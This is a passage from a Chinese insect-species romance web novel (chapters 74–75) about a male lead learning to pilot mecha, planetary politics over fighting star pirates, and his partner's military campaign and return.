厚重的大门开启,果然,一个很矮的小家伙哒哒哒地跑了进来,走到一半就开始左右打摆,侍者连忙扶住。 小家伙仰头,暗金色大眼睛亮晶晶,然后左右手分别扯住索涅和赫尔辛斯的裤腿。 “敷敷……敷!父!”小家伙嘴里念念叨叨。 “殿下,小雌子一定要来找您。”侍者忐忑地说。 要是一般雌崽,他肯定是不敢让崽子来打扰雄虫的,但这位有些不同于其他雄虫…… 果然,黑发雄虫将还没有他膝盖高的小家伙一把捞起来,眉眼温和地弯起,“小科尔想我们了?是不是?” “敷敷!虾!”小家伙说。 “雌父,雄父,想。”索涅耐心地纠正,然而小家伙还是说不对,他也不恼,让虫崽坐在他腿上,挥退侍者后继续谈事。 侍者走出书房,不禁发出一阵羡慕的叹息。 第74章 我这种智障 索涅跟着赫尔辛斯一起…… 索涅跟着赫尔辛斯一起来到维修中心, 管理员雌虫早就在等着他们。 “圣子殿下,赫尔辛斯上将,我是管理员六号塞西亚。”雌虫笑着说道, “SS09维修好后一直由我照顾, 从没有虫驾驶过, 状态相当完美。” “我这次来是想收回它, 管理费已经打到你的账户。”赫尔辛斯说道。 管理员脸上笑容更加真诚, 带着他们来到SS09上方。机甲浑身漆黑, 炮口和关节处是金属原色,静静伫立在冷寂的高楼里。 近距离看去,重型机甲带来的压迫感使得索涅瞬间兴奋起来, 他嗅到了金属的味道。 赫尔辛斯看着雄虫沉迷的神色, 微微一笑精神力接触机甲联络线。 轻微的机械转动声后, 机甲眼部灯突然亮起,紧接着明亮的光线从各部位发出, 彻底照亮这座庞然大物。 索涅低头看去,预计下方起码有一百六十层楼那么高,维修中心大半的建筑都嵌入地底,透着一股阴冷的感觉。 “果然还是只有您能驯服得了它。”管理员赞叹地看着SS09,真是完美的造物。 赫尔辛斯伸出手, “那么,圣子殿下,不知我是否有这个荣幸邀请您进入驾驶舱?” 他每次一用这种语气说话,索涅就忍不住想笑, 浑身血液随着笑意一起上涌,这种感觉说不清道不明。 由于上午军部还有事务,雌虫现在穿着一身板正的军装, 金色长发束在脑后,半边银色细金纹面具神秘而美丽。索涅这样望去,觉得他像美神一样神圣精致。 他握住雌虫的手,被对方轻轻一拉,揽入怀里,那一双修长的骨翼骤然从身后伸展开,带着他们冲向高空,飞进机甲开启的驾驶舱。 索涅还是头一次被他带着飞行,这种感觉既新奇又刺激。迅疾的寒风刮擦着他的耳廓,风声呼啸,前胸接触的是雌虫挺括的军服,隐约传来温热感。 驾驶舱整体为银灰色的冷硬风格,只有边角和舱体顶部有一些淡金色装饰。前面的舱体分为两部分,最前方是一个包含精神联络线的智能椅,允许驾驶者通过精神连接进行战斗。左侧后方则是一个动能控制室,允许驾驶者通过动作系统控制机甲进行战斗。 这就是虫族最负盛名的双向机甲,两套控制系统完全独立,可以说,就算其中一个控制系统完全损毁,这架机甲仍然拥有百分之八十其余机甲所不能匹敌的战力。 “您喜欢它吗?”雌虫低声问道。 他轻轻按着索涅的肩,让他坐到驾驶椅上。 “您好,SS09号智能战斗辅助系统为您服务。”一道冷硬的电子音突然响起,“您可以称呼我为零九。” 座椅的震动唤醒了零九,他检测到驾驶舱内有两个生命体,一个是他最熟悉的很久不见的驾驶员,另一个则是与驾驶员的精神域有深度连接的雄虫。 经过缜密思考,他严谨地判定这只雄虫为驾驶者的配偶。 “零九,我的雄主需要做一些机甲战斗相关的练习,请你配合他。”赫尔辛斯说道,提示索涅伸出精神丝。 几秒的检测之后,零九的电子音响起:“好的,请您连接控制系统,我将全程辅助。” 赫尔辛斯看向索涅,语气里含着笑音:“看来它很喜欢您。” “太大了,”索涅说道。“重型机甲只能在南部军区训练场练习,看来我有必要每天陪你一起上班。” 赫尔辛斯的神情看起来很高兴,晚上提出了约会申请,他看准了一家私密性不错的餐厅。 索涅不了解主星的餐厅,跟随赫尔辛斯来到莫里斯太平岛深处,在飞行舰上他看到了那家刚到主星时独自品尝过的餐厅。 赫尔辛斯随着雄虫的视线看过去,“您想去那里?” 索涅摇摇头,“刚来主星的时候,我看到他们的招牌菜叫珍珠红荟汤,尝了几口,但不是你的味道。” 赫尔辛斯心口发痛,沉默地握住雄虫的手。 “要不我们回家,我给您做晚餐。”雌虫柔声说。 索涅笑起来:“你不是想跟我约会?” 雌虫有些不好意思,他的确想和雄虫吃个浪漫的烛光晚餐。 餐厅氛围很不错,里边有些虫认出了他们,却也没有大惊小怪,这让索涅觉得很舒适。 几杯酒下肚,索涅有些微醺,跟个软体动物似的趴在雌虫身上,雌虫索性打横抱起他,一路回到卧室。 “您笑什么。”雌虫边脱衣服边问道。 索涅也不知道自己到底在开心什么,但他就是心情很好。 赫尔辛斯觉得自己今天表现不错,他搂着雄虫的后背,轻声说:“您说过允许我再生一枚蛋。” “想生了?”索涅气息微喘。 “想……”后面的两个字被雄虫吞入口中。 雄虫果然说话算话,今天没有给他清理。 赫尔辛斯取来一个软枕塞到腰下,下身抬起一拳的高度。 索涅指尖戳戳虫虫柔软鼓起的小腹,“腔口已经闭合,你不塞枕头也流不出来。” 他了解那个隐秘小壶的一切变化。 “这样保险一点。”赫尔辛斯耳朵发红,他不求一击即中,因为他的机会很多,但他希望早点怀上。 索涅躺在身边,呼吸轻缓。 过了好久,雄虫突然爬起来将手盖在他的小腹上。 “怎么了?”赫尔辛斯有些忐忑。 “我紧张。”雄虫很严肃地说。 赫尔辛斯:“……” 虽然很不负责任,但科尔的出生的确是个意外,现在索涅知道可能有个生命即将出现在雌虫体内,他就紧张得睡不着觉。 就算怀上了,也要等一个月之后虫蛋发育出精神力,母体才能感应到虫蛋的存在。 他们的生活都很忙碌,渐渐地将这件事抛到脑后。 南部军区最大的训练场仍旧属于第一军,盖因这是赫尔辛斯带领第一军所赢下的功绩,属于整个军团。现在正是午休,东部训练场远处四通八达的廊桥处挤满了军雌,训练场其余方位的机甲也多数伫立不动,静静地观看着东部训练场内不断上升下降翻转的机甲。 军雌们有点懵。 “长官在干嘛?” “不知道啊。” “长官还需要练这些基础操作?这连我都会。” “是啊,他练这些干什么……” 最适合的莫尔亚还在巡航,赫尔辛斯暂时没有副官,于是卡特斯便挑了一只天赋不错的军雌给赫尔辛斯当临时副手。 蒙利跟在赫尔辛斯身后,看到这边这么多军雌,还以为都是来看索涅圣子的,不禁额头渗出一丝冷汗。 “你们不去休息,围在这里干什么?”赫尔辛斯皱起眉冷声道。 军雌们回头,惊诧出声:“长官?” 他们连忙调整自己的形象。 “上将,那个不是您的机甲吗?”一只军雌指着远处问道。 赫尔辛斯眯起眼看过去,正好看到SS09在空中翻跟头。 “……”虽然说翻跟头没什么实际用处,但对操作还是有很高要求。 如果他没记错,雄虫才练了三天? “索涅殿下在练习而已,不要围在这儿,下午加训。” 军雌们神情一垮。 然而上将却也站在廊桥边看了一会儿,才慢慢地离开。 他走后军雌们反而讨论得更加兴致勃勃。 “上将真有钱,把SS09给雄虫练手。” 一只军雌看着远处庞大的机甲:“前天SS09才回来,索涅殿下顶多也就练了三天而已……嘶……” 军雌们不由得严肃起来,回想起自己刚接触机甲的三天都干了什么。 对着教材一个个认按钮,手忙脚乱链接联络线,被动捕系统弄得进医院,而且他们初次练手用的都是教学用具轻量级机甲…… 机甲深蓝色火焰喷涌冲入云霄,片刻后又稳稳落回地面,起降动作完全是他们毕业时的水平。 军雌们暗想,S级雄虫果然不该轻视,不然差点闹了笑话。 索涅练完一轮回到雌虫的办公室,心有感慨:“驾驶果然很难,每次都不能精准地降落到原来的位置,你编的那本教材第一部分的基础我都没怎么练会。” “你的机甲还老是夸我,赫尔辛斯你是不是偷偷跟它说了什么话,比如不能打击我的积极性之类?” 赫尔辛斯:“……您看了我的书?” 索涅喝完水躺在沙发上,“对啊,那本书写得真好,适合我这种智障。” 赫尔辛斯:“……” 他一时难言:“那是给已经编入军团五年以上的军雌的,他们往往会轻信经验自满大意,那本书的目的是结合实战经验做理论提升,您如果注意到后半部分,那些全是思想教育。” 索涅:“……” 咳。 “我就说怎么和教材内容不太一样……”他嘀咕,“可是你写得那么通俗易懂,我还以为是基础内容……” 他说着有些悻悻。他真蠢,赫尔辛斯编写的书怎么可能基础? “您已经很厉害,这些基础操作的精准性需要长时间的练习,形成操作记忆,您已经达到毕业生的水平。”雌虫夸赞他。 索涅躺在沙发上叹着气:“还有那么多要学……” 不过开机甲是他爱做的事,时间很快就过去。索涅开学的前两天,第三军大部分支队都随着星舰归来,只有两支队伍带着防御舰,和曾经的驻军一起驻守海塔星。 曾经第一军上将乌尔加,也在归来的队伍之中,不过却已经双目失明。 安莫因看着被押解进入审讯室的乌尔加,转身直接离开。 “委员长阁下,您不待在审讯室陪您弟弟,怎么有心情来参会?” 安莫因面无表情:“您不想我参会?” 奥维:“……我只是替你担心乌尔加,毕竟他瞎了。” 索涅将茶杯放回桌上,漫不经心地开口:“奥维阁下,你拿的是艾尔斯拉公爵的茶杯。” 奥维动作一僵,这才发现自己把手伸到了艾尔斯拉面前。该死,这破茶杯放这么近干什么! 这次议题主要包括两个,一是海塔星的初步建设,二是扫清愈来愈猖獗的星盗团体。 议会初步商定星际移民和贸易提案,交由费伦斯签阅执行令,至于星盗,部分虫提出不足为惧,不用专门派出军队歼灭他们,由各星球航线加强防御即可。 “我认为联盟的武器不应该浪费在这种小动乱上,周边对我们虎视眈眈的种族那么多,最重要的是抵御外族。”奥维说道。 “与安斯族暂且休战,现在正是铲除这些蛀虫的最好时机。”赫尔辛斯出声。 众虫顿时低头看着自己面前的光屏,一时无虫说话。 星盗虽然可恶,但关键时候可有大用处,是黑色事件的完美背锅侠。 杀了某只虫子往宇宙一扔,一律赖到星盗头上,屡试不爽。 “三叉戟有一艘高级攻击舰,不计其数的磁流炮和激光武器,”索涅沉声开口,“这算是可以忽视的小动乱?” “内乱不休,动荡不止,如果任由他们发展,他们早晚会不甘于只在航线劫掠,宜居星就会彻底遭殃。” 一棵坚固的巨树,从外部攻击起来费时费力,可要是在它身上放一些蛀虫,只需静静等待,就可以将腐朽的空壳一举拔起。 且蛀虫四散而逃,不足为惧。 这道理谁都知道,可就是放不下那些贪念。 这份草案最终以三百二十九票同意、三百二十票反对的结果进入民众表决。 索涅不禁拧眉。 离开会议中心,索涅立刻联系了恩修。 “OK,明白了,”恩修摩拳擦掌,“哥们儿最擅长干这个,明天你瞧好吧。” 什么叫真正的风起云涌?就连最没有政治嗅觉的虫都察觉出来,这份草案背后的两股势力究竟有什么目的。 整个星网被一份公示草案刺激得鸡飞狗跳。 [这和我们平民有什么关系?我们又不坐星航,那些有钱虫死了才好] [用我们纳的税去打星盗?对我们有什么好处?还不是坐星航的贵族最享福,切] [如果星盗攻陷宜居星怎么办?到时候还不是你们这些虫骂得最凶] [每一笔税都有去向,真抱歉,消费税都是用来建设各自的星球,你们骂这么凶,你们不会就是那些家里开公司交商税,坐完星航骂完军部,回头又雇佣星盗杀虫放火的家伙吧?] [骂得这么激烈,不投不就好了?] [不投就等于反对,要是投票虫太少,草案直接打回重拟或者压箱底] 作为公民的一份子,索涅也得投出自己的一票。 然而没想到的是议员票是实名制,他的投票结果直接公示在网上,顿时引得两拨虫子互骂四五轮。 数量较多的是他的支持者,纷纷投出赞同票,然后就被水军和黑子骂无脑,尤其当艾浮和西沙纷纷投出反对票,整个星网愈加波涛汹涌火气冲天。 事实证明,如果决策者越多,那么系统运行就越缓慢,唯一比较好的一点是投票没有反悔机制。 五天后,这份打击星盗的草案以一百二十八亿余票赞同,八十亿余票反对的结果被宣布递交莫里斯宫,不日将予以执行。 而这次投票之后,星网逐渐弥漫起一种言论:艾浮圣子和西沙圣子的支持者加起来还没有索涅圣子多。 [那又如何,执政官看的是素质!是执政能力!不是等级!] [我们殿下温柔随和,还经常到医疗中心服务,高级雄虫的精神力那么宝贵,殿下都愿意贡献,还有什么可比性?] [是啊,有什么可比性?毕竟S级是智慧和武力的双重飞跃] [戴个温柔面具谁不会?] [但是有些虫连面具都戴不上,狠辣是显而易见的] 投票结束,索涅感觉自己已经对星网过敏。 “圣子殿下,我这事儿办得怎么样?”恩修语气很嘚瑟。 索涅当然给恩修加了大鸡腿。 开学时索涅和赫尔辛斯一起出现,让悄咪咪观察的虫子摸不着头脑。 直到有圣托学生语气复杂地在星网发布视频。 [我们新来的精神力格斗术老师好像是赫尔辛斯上将……] 这个视频很快爆火。 [假的吧,哪个学校这么吊] [圣托。] [……跟你们这些学霸拼了!靠上课就能接触我的偶像!嘤嘤嘤跪求签名] [训练室直接爆满,别说虚拟仓位了,脚都没地方放] [那听课有什么意义] [圣托不许蹭课,他们已经被扭送回各自教室,而且索涅圣子还会来接赫尔辛斯上将一起去吃饭] [……我真的要跟你们这些学霸拼了!嫉妒使我丑陋啊啊啊啊] 索涅等在门口,二年级的机甲实战由于消耗巨大,比精神力格斗术早半小时下课。 只有每周三赫尔辛斯才会来教授一个下午精神力格斗,他也只带了一个班的课程。 新生最常犯的错误就是把圣托军事部当其他制度宽松的大学,上周索涅来的时候差点怀疑这个教室是个异次元空间。 怎么能塞得下那么多虫子。 虚拟仓模拟训练已经结束,雌虫正总结学生们的错误,他穿了一身蓝金训练服,修身的衣物勾勒出优越的曲线,金发别在耳后,左脸是一张光滑的银色面具。 他用词极为严谨,讲得却极为通俗易懂,学生们一副灵魂升华的表情。 也对,毕竟赫尔辛斯连索涅这种外族都教得会。 里面宣布正式下课,索涅从训练室门边探出脑袋,对着雌虫招了招手。 赫尔辛斯早就知道雄虫在外面,目光落在索涅身上眉眼温和下来,和索涅一起离开了。 学生们面面相觑。 于是星网又多了这么一条。 [想见S级雄虫很简单,每周三下午五点去圣托xxx训练室蹲守,即可收获微笑圣子一枚] [ps:请准备好你的大饭碗,狗粮将像洪水般涌来] 第75章 圣山下雪了 王族的雌虫,大多…… 王族的雌虫, 大多是些硬骨头。 可这只很不同寻常,审讯官觉得乌尔加·苏利亚的表现更像是哀莫大于心死,只剩一副没有灵魂的空壳, 眼眶血红, 沉默寡言。 “情况就是这样, 他的眼睛被毒气侵蚀, 已经完全坏死。”医雌拿起报告递给安莫因。 安莫因接过看了一眼, 走到乌尔加面前。 “抬起头!”他一脚踹在低头的雌虫腿上。 “想死就直接告诉我, 我可以给你一个痛快,拉着这副臭脸给谁看?” 他语气冷漠,仿佛对面不是自己的亲弟弟。 “雌父年纪大了, 因为你的原因形销骨立, 我说句难听的, 他活不了多久,你难道要比他先死?” 审讯官不禁咂嘴, 这话也太糙了。 乌尔加缓缓地抬起头,一双灰眼黯淡无神,不知道被囚禁了多久,形容枯槁面颊消瘦,不过失踪几个月, 看起来竟然老了二三十岁。 安莫因探出精神力,几秒后脸色难看地大步走出审讯室。 乌尔加的精神域塌了。 —— 这学期不光有机甲战斗,可以说从现在起才算正式进入高难度学习,每周都有一场年级组精神力、体术格斗赛, 每月又有一场高年级校级比赛。 索涅上学期成绩维持在中上,已经引起一些雌虫暗中比较,这学期他突破S级后精神力和身体素质突飞猛进, 和他战斗时端着姿态的雌虫都被他毫不留情踹下擂台。 雌虫学生们既想尊重他,又不想输给他,还想战斗优雅漂亮给他留下好印象,想得越多就输得越快,很快他们就放弃了让索涅拜服在他们实力下的想法。 消息传到网上,甚至他们这一级的雌虫都开始被怀疑实力不行,气得这些雌虫咬牙切齿。 进行精神力格斗时使用的就是深度决斗系统,索涅这次没有开小号,他觉得已经没这个必要。 于是“蓝色行星就是索涅阁下”这个消息冷饭热炒,终于被翻到顶端,词条一时间热爆。 许多被信息茧房困住的虫第一次知道索涅圣子原来玩深度决斗,还是名噪一时的黑马! 他们跃跃欲试地趁着索涅没下线发出战斗邀请,却都被拒绝了,不由得开始怀疑索涅的实力是不是吹的。 [你们排名太低咯,索涅殿下懒得和你们打] [……] 有几只排名比较高的雌虫匿名挑战,索涅果然接受,最后愉快收走近几百万奖金。 这怎么说也是他的血汗钱,等虫虫回来,他就可以用这些钱和虫虫约会~ 看过擂台比赛,索涅的实力终于无虫再质疑,并且排名高的虫都不太愿意和他对战。赢了显得他们欺负雄虫,输了那真是丢大脸了。 索涅对此无所谓,毕竟他还有赫尔辛斯。 他和赫尔辛斯的实力还是有不小差距,毕竟他没见过血,也没真的上过战场。 虫崽站在门口,隔着亚晶大门呆呆地看着他们,见到雄父被撂倒在地,顿时拍着小手兴奋起来。 “没良心的小崽子。”索涅躺在地上抱怨。 燥热的空气很快被风舱置换,大门打开,小崽子哒哒哒地跑进来,已经可以走得很稳当。 “敷敷!”小崽子抓住赫尔辛斯的裤腿,像个树袋熊挂在雌父腿上。他如愿被抱起来,然后又冲他雄父伸出小手。 索涅无奈,只得从地上爬起,拍去灰尘然后抱过小科尔。 “雨露均沾,是不是?小家伙真会端水。”索涅蹭蹭小家伙嘟起的脸颊。 小崽子笑得阳光灿烂。 赫尔辛斯拿过放在一旁的手环,低头看着消息,眉头逐渐蹙起。 “怎么了?”索涅问。 雌虫抬头,目光复杂:“乌尔加被暂时监禁,他的精神域一片废墟,安莫因在紧急给他找新雄主。” 索涅哑然:“雄虫……能有用吗?” “目前找到了一个,不过对方见过乌尔加之后不愿意了。”赫尔辛斯也觉得这事难办。 雄虫好面子,高级雄虫尤其是这样。安莫因给的东西虽然多,但能够梳理乌尔加的必定是B级以上,想来也不缺钱。 “乌尔加也不愿意接受梳理,差点攻击一只雄虫,安莫因花了一大笔钱才摆平。”赫尔辛斯心中无奈。 他们都知道乌尔加的心在哪里。 “……他可能不想活了。”索涅停顿了一下,他明白这种哀莫大于心死的感觉。 “安莫因说实在不行让乌尔加死算了。”赫尔辛斯把安莫因的气话也一同转述。 索涅:“……那之前他的精神域是怎么梳理的?” 赫尔辛斯一怔,继而迅速把这个问题原模原样发给安莫因。 [安莫因:嗬,我怎么知道?或许他和休伊斯有什么苟且的方法] 话是这么说,但赫尔辛斯知道这家伙上心了,肯定会着手调查。 果然不出三天,安莫因不知道用什么办法,硬生生把东西从乌尔加嘴里撬了出来。 “休伊斯是个变态。”四只虫聚在莫里斯宫,安莫因说道。 “恩怨先放一放,说重点。”赫尔辛斯说。 安莫因拿出一份资料插进光屏,神情竟然有些兴奋:“他就是个变态,安斯族生命实验室用两族基因制造出来的新物种,他有雄虫的壳子和精神力,还有安斯族的骨翼,不过他动手术做掉了。” “他自愿的?”索涅问。 “不清楚,这都是乌尔加说的,安斯族那边捂得很严实,休伊斯可能也不知道他发现了这些东西。”安莫因摸着下巴,“我用这些东西把那家伙交换过来怎么样?养在地下室里给乌尔加当宠物。” 费伦斯:“……你还要让乌尔加再次陷进去?” 安莫因神色凝重:“也对,我应该先把这个变态解决掉。” “不过还有一件事,剿灭星盗的军团定位第一军,赫尔辛斯你打算派谁去?” 赫尔辛斯早就打定了主意,目光落在索涅身上,而后移开,缓缓地说道:“我自己带队。” 索涅惊诧地看着坚定的雌虫。 安莫因说:“太大材小用了。” “其他虫我不放心,我要亲眼看到他们变成宇宙尘埃。”赫尔辛斯微微眯起眼。 “……行,莫尔亚跟你一起去,正好那个身份没什么用,也可以作废了。”安莫因说道。 索涅缓缓睁大眼睛:“?” “莫尔亚?!”他脑袋化作一团糨糊,“莫尔亚是假身份?谁的?” 安莫因顿时惊讶:“我就是莫尔亚,赫尔辛斯没告诉你?” 索涅默默地摇头。 安莫因尴尬地咳嗽一声:“那个身份……还是当初为了追你雄父……” 费伦斯露出微笑:“是啊,我也被骗了很久呢。” 直到回到家,索涅都没太缓过神,“怪不得莫尔亚和安莫因怀蛋的日期一样,我还奇怪为什么你恢复身份后他们都不来找你。” “我以为安莫因对这个身份有其他想法,抱歉,一直瞒着您。”雌虫从背后按住他,将脸颊贴在索涅脖颈上。 索涅握住他的手,狠狠地揉了揉:“要去剿灭星盗的事你也没跟我说。” 雌虫不说话了,索涅就知道他主意已定。 “太突然了,起码也提前告诉我一声,心脏病都要被你吓出来。”他轻声抱怨着。 雌虫伸手捂住他的嘴,索涅张开唇齿把它们咬住。 虽然知道雌虫的实力,但索涅抑制不住地担心。 这种小型战役准备起来很快,倒是赫尔辛斯准备亲自围剿星盗的事引起了一番热议。 虫子们都在怀疑赫尔辛斯怎么会去打这么小的战役,他在军部的地位下滑这么厉害? 赫尔辛斯当然不会理会这种言论,但索涅看着不舒服,发给恩修让他帮忙辟个谣。 [这你们就孤陋寡闻了吧,索涅殿下曾经差点死在这群星盗手上,上将这是去给自己雄主报仇] [这架势,看来星盗要被挫骨扬灰喽] 索涅前一晚将雌虫的精神域细致地捋顺,确保没有一丝沉疴,才躺在雌虫身边,紧紧地贴着他。 赫尔辛斯低头,就能看到雄虫心事重重的乌黑头顶。 他心中叹了口气,闭上眼贴紧索涅。 凌晨天蒙蒙亮,索涅就感觉身边一空。 “现在就要走?”他迅速地爬起来。 “您再睡一会儿吧,昨晚入睡那么晚。”赫尔辛斯坐在他床边,昏暗灯光将他的眉眼照得很温柔。 索涅睡不着了,收拾好东西跟随赫尔辛斯一起来到南部军区。 这次只出动了五架重型机甲和一个中型编队、两个轻型编队、攻击舰防御舰各一艘。 军雌们列队整齐,站在机甲上方平台上,晨间高空寒风呼啸,他们望着走过来的上将,赫然发现上将的雄主也跟在身后。 这么早又这么远,索涅殿下真是…… 赫尔辛斯掖紧雄虫的斗篷,倾身抱住他。 索涅将下颌放在雌虫肩头,怀中温热的身体让他不愿松开。 然而雌虫终究要出发,索涅也不可能耽误雌虫。 他勾着雌虫的下颌,在雌虫唇上轻轻印了一个吻。 “注意安全,我等你回来。”索涅轻声说。 赫尔辛斯心中的不舍愈来愈强烈,他颌骨收紧,突然紧紧地抱住雄虫,“请您等我。” 不过一秒便松开,转身毫不犹豫地朝着露台外走去,一直没有回头。 “出发!” 一道道旋风从地面卷起,金发雌虫飞在最前方,像一只迅捷的鸟儿落在驾驶舱中。 舱门关闭,雌虫似乎终于忍不住,回头向这边看了一眼。 索涅呆呆地站在进风口,脸被寒风吹得发僵。 “索涅殿下,上将吩咐给您准备了早餐。”一只军雌走过来说道。 雄虫抹了一把脸,转身面色平静地走入大楼内部。 附近的军雌面面相觑,不知道索涅刚才不舍是演的,还是现在的平静是演的。 很快,赫尔辛斯上将已经离开主星,索涅圣子身边没有一只雌虫的消息传遍整个星网,雌虫们开始蠢蠢欲动。 [索涅殿下才娶了一只雌虫……] [A级阁下都可以娶三位雌君,S级怎么着也要三位吧?] [听说最近不少圣托的雌虫学生碰了钉子] 索涅烦不胜烦,干脆不在学校里走动,他心里不痛快,于是就天天在深度决斗里发泄。 资深玩家们发现,那个战斗疯子好像又回来了。 [索涅殿下不会是只喜欢打得过自己的雌虫吧……] 这个谣言在星网广为流传,但没虫敢轻易去尝试。战斗能力高的大多是三十岁以上的军雌,他们基本已经有婚约或者已婚,偶尔有几只未婚的,也不会相信这么个谣言,贸然去冒犯圣子。 他们更愿意在现实中狂热追求。 然而索涅鸟都不鸟他们。 雌虫们想出了各种歪门邪道的手段,期望引起圣子注意,全都铩羽而归。 直到有传言说,其实索涅圣子的下一位雌君是安莫因委员长的养子梅里纳·苏利亚。 事情陡然变得有趣起来。 “不是我干的!”梅里纳跟安莫因指天发誓。 安莫因却打量着他,不说话。 梅里纳急了,连忙求助临倍:“堂哥,你帮我说句话啊!” 临倍看了看安莫因的脸色,于是老神在在:“弟弟啊,老实交代吧。” “好了堂哥你闭嘴吧我求你了。”梅里纳连忙双手合十。 “确实不是你干的,你还没那个脑子。”安莫因冷哼一声,“不过你也该结婚了,精神域破成乌尔加那样我看你怎么办!” 梅里纳:“小叔父不就是因为结婚才破成那样的吗——您干嘛瞪我!我要是也嫁给休伊斯那种间谍怎么办!” 安莫因瞬间脑壳发痛:“那种聪明虫看不上你!” 梅里纳讷讷不敢言,眼神还是很倔。 安莫因有点后悔没把梅里纳塞给赫尔辛斯,不然应该能趁机磨炼一番。 晚上躺到一张床上,安莫因跟费伦斯提起索涅的状态,有些担忧。 “赫尔辛斯走后,虫崽又变成那副茶饭不思的样子。” “索涅很依赖赫尔辛斯,”费伦斯早就看出来了,“不过应该比那时候好了很多?毕竟还有科尔陪着他。” “要是没有科尔,真不敢想象。”安莫因也有些想和虫崽拉近关系,于是提议,“不如把他们接过来一起住在莫里斯宫,好歹能照顾他们的生活。” 费伦斯欣然同意。 索涅听到这个消息,思索过后也就同意了,费伦斯比较常待在宫殿里,平时也能照看科尔,总比交给侍者放心。 他还是经常打擂台赛,不过逐渐觉得索然无味。正当心里的思念浓郁到几乎让他喘不过气时,他突然收到了一个别样的礼物。 一架崭新的重型机甲矗立在南部军区第一训练场。 “索涅殿下,这是赫尔辛斯上将联系我为您定制,您看外形是否还满意?”一只瘦削的雌虫问道。 他长得很不起眼,却是整个联盟最厉害的机甲大师,第一台成功投入战场的双S级机甲就是出自他的手笔。 “这是我毕生最满意的作品之一,和SS09不相上下,如果您也满意,我们现在去调试联络线。” 索涅有些无措,“这么强大的机甲,给我用?” “您是S级雄虫,有什么不可以?” 索涅哑然,“……麻烦您了。” 精神力调试无比顺利,索涅和这架机甲的相合性高得离谱,这位机甲大师笑得合不拢嘴。本来他还不想给雄虫设计机甲,这不是闹着玩吗? 但看过索涅的精神力等级和战斗风格后,他改变了主意,连轴转几个日夜画出草稿,癫狂得又跳又笑,把他雄主吓个半死。 “您好,SS10智能战斗辅助系统为您服务。”一道冰冷的机械音响起。 “您可以为他更改名字。” 索涅思索片刻:“你好,十号。” 对方顿时无奈:“您和您雌君的取名风格真是如出一辙。” 索涅确实是个取名废。 “精神力调试完毕,已匹配。”十号机械音响起。 索涅驾驶机甲飞了两圈,按照他的精神力调试过的机甲用起来极为得心应手,这位机甲大师看起来也很满意。 那眼神,就像给自家毛孩子找到了好主人一样。 索涅将机甲降落在原位置,坐在驾驶舱里看着控制面板发呆。 很久之后,他缓缓地躺在驾驶椅上,闭上双眼。 他更想赫尔辛斯了。 —— 这片太空中满是沉浮的碎片,弥漫着战争过后的硝烟和冷寂。七个多光年之外的宜居星们正戒备森严,好在战斗基本是一边倒,让他们提着的心彻底放下。 金发雌虫站在星舰指挥室,用精神丝查看着面板上复杂繁琐的星图。 半晌,他睁开眼:“他们的情况怎么样?” “很不服气,但不敢反抗。”蒙利说道。 赫尔辛斯冷冷地勾起嘴角,“上刑,挖出所有消息。告诉他们,说出一条有用的,就可以少受点罪。” “是!”蒙利应声后离开指挥室。 赫尔辛斯揉着额角,波林星盗团的首领不知所踪,而原本卧底波林星盗团打探消息的伊卢也消失不见。 赫尔辛斯查遍附近几个星系的磁流网,也没发觉哪里有逃窜的星舰。 重重包围之下,除非这个波林会徒手开虫洞,不然插翅难逃。 系统分析最有可能的结果,就是波林躲避不及,已经在炮火中化为飞灰,说不定已经被扫进垃圾仓。 但第二大星盗团的首领会那么容易死?赫尔辛斯不太相信。 至于伊卢……金发雌虫眉心蹙起,从衣袖暗袋里取出一个指甲盖大的储存器。 在他刚抵达这片星系时,伊卢就想办法把这东西交给了他,但没有回来,直到战争结束也不见踪影。 赫尔辛斯隐隐有所预感,波林的逃脱恐怕和伊卢脱不了干系…… 不管星网上争论得多么激烈,意见多么两极分化,得知头顶猖獗的劫匪已经尽数歼灭的时候,几个星系的居民们都不禁在星网狂欢庆祝。 有一些比较落后的老矿星,驻军实力不强,上层还贪污腐败,居民数量多又贫穷,最是提心吊胆。其实他们有些已经被星盗骚扰抢劫过几次,然而上层不向上通报,也一直没引起主星的重视。 赫尔辛斯向主星申请搜查令,安莫因力排众议给他批了下来,一查还真查出不少东西。 边缘星的权色交易快摆到明路上,雄虫被有权有势的雌虫瓜分,普通雌虫就算有实力也没有出头之日,已经压迫到民众最紧绷的那根神经。 这次行动将几个大型地下交易所连根拔起,拔出萝卜带出泥,黑色贸易线犹如一张庞大蛛网,将往日用它捕食的贵族逐一粘连,作茧自缚,逃无可逃。 他们没想到,原本出征在外的虫子,竟然突然掐断了他们敛财的门路。 三天之后,附近的宜居星和垃圾星都已经被搜寻一遍,波林的下落仍旧无果,再浪费军队时间显得不太值得。 赫尔辛斯宣布降低搜寻力度,转而让各星球驻守军队多加注意波林的踪迹。将歼灭星盗的情况通知各星球后,他便启程返回主星系。 也是在这时候,他才能用自己的手环给小雄主发条消息。 手环打开的瞬间,近千条消息犹如泄洪般挤出来,打眼一看全都是来自索涅。 赫尔辛斯花了很长时间逐条看完,眼睛有些酸涩,唇角却不知什么时候上扬得厉害。 雄虫在他不知道的角落絮絮叨叨,努力不给他压力,但话语里的担忧和想念已经溢了出来,淅淅沥沥地润湿赫尔辛斯的眼眶。 被想念是件很幸福的事。 他发过去一句报平安的话,很快雄虫的视频通话就跳了出来。赫尔辛斯一看时间,主星这会儿正是凌晨一点。 雄虫的脸出现在他面前,隔着数万光年,距离模糊了他的面容和语气,赫尔辛斯脑海中却浮现出雄虫漂亮认真的眼眸。 “赫尔辛斯……”索涅的声音很轻,“是不是可以回来了?” “已经穿梭完第一个虫洞,预计还有九天。”赫尔辛斯说。 索涅沉默着。 “您有没有好好照顾自己?”赫尔辛斯语调温柔。 索涅抽了抽鼻子,瓮声瓮气:“没有。” “赫尔辛斯,我和虫崽都很想你。”他又说。 “……我知道。”赫尔辛斯低声说。 “不过我最近做成了很多事,等你回来我慢慢跟你说。”索涅似乎在吩咐侍者,“把小雌子抱过来。” 很快,小崽崽好奇的模样就出现在光屏上,一双大眼睛惊讶地睁大:“雌父!敷敷!” “敷敷!”小家伙的眼睛里瞬间噙满眼泪。 “雌父很快就回来了……”索涅连忙拍拍小家伙的背,给他擦掉眼泪珠子。 赫尔辛斯看着他们,连眼都不舍得眨。 “他已经会叫‘雌父’,只是一着急起来就咬不准音调。”索涅替小崽子解释。 赫尔辛斯颇为遗憾:“我错过了他的成长。” 但他不后悔。 他必须看着那群家伙灰飞烟灭。 “他还小,还有很多机会,”索涅安抚好小崽子,将他抱在膝盖上。 “圣山下雪了。”他说。 氛围一时寂静。 